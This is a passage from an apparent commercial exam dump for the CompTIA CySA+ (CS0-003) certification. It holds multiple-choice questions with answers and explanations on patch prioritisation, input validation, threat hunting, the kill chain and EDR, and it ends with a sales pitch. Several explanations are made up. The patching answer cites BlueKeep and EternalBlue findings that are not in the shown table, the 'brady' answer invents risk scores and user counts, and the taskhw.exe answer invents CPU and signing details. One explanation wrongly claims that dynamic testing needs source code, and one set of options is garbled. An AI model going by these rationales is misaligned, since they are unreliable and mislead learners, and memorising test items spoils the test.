Oracle Java Critical Patch	3	6.9	54.73.225.17	Yes	No
Oracle Java Critical Patch	3	6.9	10.101.27.98	Yes	No

Which of the following systems should be prioritized for patching first?

- A. 10.101.27.98
- B. 54.73.225.17
- C. 54.74.110.26
- D. 54.74.110.228

**Answer: D**

**Explanation:**

The system that should be prioritized for patching first is 54.74.110.228, as it has the highest number and severity of vulnerabilities among the four systems listed in the vulnerability report. According to the report, this system has 12 vulnerabilities, with 8 critical, 3 high, and 1 medium severity ratings. The critical vulnerabilities include CVE-2019-0708 (BlueKeep), CVE-2019-1182 (DejaBlue), CVE-2017-0144 (EternalBlue), and CVE-2017-0145 (EternalRomance), which are all remote code execution vulnerabilities that can allow an attacker to compromise the system without any user interaction or authentication. These vulnerabilities pose a high risk to the system and should be patched as soon as possible.

**NEW QUESTION 245**

A penetration tester submitted data to a form in a web application, which enabled the penetration tester to retrieve user credentials. Which of the following should be recommended for remediation of this application vulnerability?

- A. Implementing multifactor authentication on the server OS
- B. Hashing user passwords on the web application
- C. Performing input validation before allowing submission
- D. Segmenting the network between the users and the web server

**Answer: C**

**Explanation:**

Performing input validation before allowing submission is the best recommendation for remediation of this application vulnerability. Input validation is a technique that checks the data entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or unexpected input, and protect the user credentials and other sensitive data from being compromised. References: Input Validation - OWASP, 4 Most Common Application Vulnerabilities and Possible Remediation

**NEW QUESTION 248**

Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:

Vulnerability name	Description
inter.drop	Remote Code Execution (RCE)
slow.roll	Denial of Service (DoS)

System name	Vulnerability	Network segment
manning	slow.roll	internal
brees	inter.drop	internal
brady	inter.drop	external
rogers	slow.roll; inter.drop	isolated vlan

Which of the following should the security analyst prioritize for remediation?

- A. rogers
- B. brady
- C. bree
- D. manning

**Answer: B**

**Explanation:**

Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of  $9 \times 0.8 = 7.2$ , which is higher than any other system. Brady also has 500 affected users, which is more than any other system. Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

**NEW QUESTION 251**

A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise workstations, the following host details are aggregated:

Task name	Target process	Number of hosts	Task user account
RtkAudUService64_BG	C:\Windows\System32\RtkAudUService64.exe	502	NT Authority\SYSTEM
BatteryGaugeMaintenance	%ProgramData%\Lenovo\Plugins\BGHelper.exe	410	NT Authority\SYSTEM
RtHVBg_PushButton	C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe	870	NT Authority\SYSTEM
UpdateService	C:\Users\sam\AppData\Roaming\Temp\taskhw.exe	1	PROD\sam

Which of the following actions should the hunter perform first based on the details above?

- A. Acquire a copy of taskhw.exe from the impacted host
- B. Scan the enterprise to identify other systems with taskhw.exe present
- C. Perform a public search for malware reports on taskhw.exe.
- D. Change the account that runs the -caskh
- E. exe scheduled task

**Answer: C**

**Explanation:**

The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.exe Windows process - What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

**NEW QUESTION 255**

A security analyst observed the following activity from a privileged account:

- . Accessing emails and sensitive information
- . Audit logs being modified
- . Abnormal log-in times

Which of the following best describes the observed activity?

- A. Irregular peer-to-peer communication
- B. Unauthorized privileges
- C. Rogue devices on the network
- D. Insider attack

**Answer: D**

**Explanation:**

The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization's reputation, operations, and compliance<sup>12</sup>. References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users' Activities in Active Directory

**NEW QUESTION 258**

An organization is conducting a pilot deployment of an e-commerce application. The application's source code is not available. Which of the following strategies should an analyst recommend to evaluate the security of the software?

- A. Static testing
- B. Vulnerability testing
- C. Dynamic testing
- D. Penetration testing

**Answer:** D

**Explanation:**

Penetration testing is the best strategy to evaluate the security of the software without the source code. Penetration testing is a type of security testing that simulates real-world attacks on the software to identify and exploit its vulnerabilities. Penetration testing can be performed on the software as a black box, meaning that the tester does not need to have access to the source code or the internal structure of the software. Penetration testing can help the analyst to assess the security posture of the software, the potential impact of the vulnerabilities, and the effectiveness of the existing security controls<sup>12</sup>. Static testing, vulnerability testing, and dynamic testing are other types of security testing, but they usually require access to the source code or the internal structure of the software. Static testing is the analysis of the software code or design without executing it. Vulnerability testing is the identification and evaluation of the software weaknesses or flaws. Dynamic testing is the analysis of the software code or design while executing it<sup>345</sup>. References: Penetration Testing - OWASP, What is a Penetration Test and How Does It Work?, Static Code Analysis | OWASP Foundation, Vulnerability Scanning Best Practices, Dynamic Testing - OWASP

**NEW QUESTION 259**

When starting an investigation, which of the following must be done first?

- A. Notify law enforcement
- B. Secure the scene
- C. Seize all related evidence
- D. Interview the witnesses

**Answer:** B

**Explanation:**

The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation.

**NEW QUESTION 263**

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing?

- A. Exploitation
- B. Reconnaissance
- C. Command and control
- D. Actions on objectives

**Answer:** B

**Explanation:**

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: <https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html>

**NEW QUESTION 266**

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this requirement?

- A. SIEM
- B. CASB
- C. SOAR
- D. EDR

**Answer:** D

**Explanation:**

EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objectives. Official References:  
? <https://www.comptia.org/certifications/cybersecurity-analyst>  
? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>  
? <https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/>

**NEW QUESTION 268**

.....

## Thank You for Trying Our Product

\* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

\* One year free update

You can enjoy free update one year. 24x7 online support.

\* Trusted by Millions

We currently serve more than 30,000,000 customers.

\* Shop Securely

All transactions are protected by VeriSign!

**100% Pass Your CS0-003 Exam with Our Prep Materials Via below:**

<https://www.certleader.com/CS0-003-dumps.html>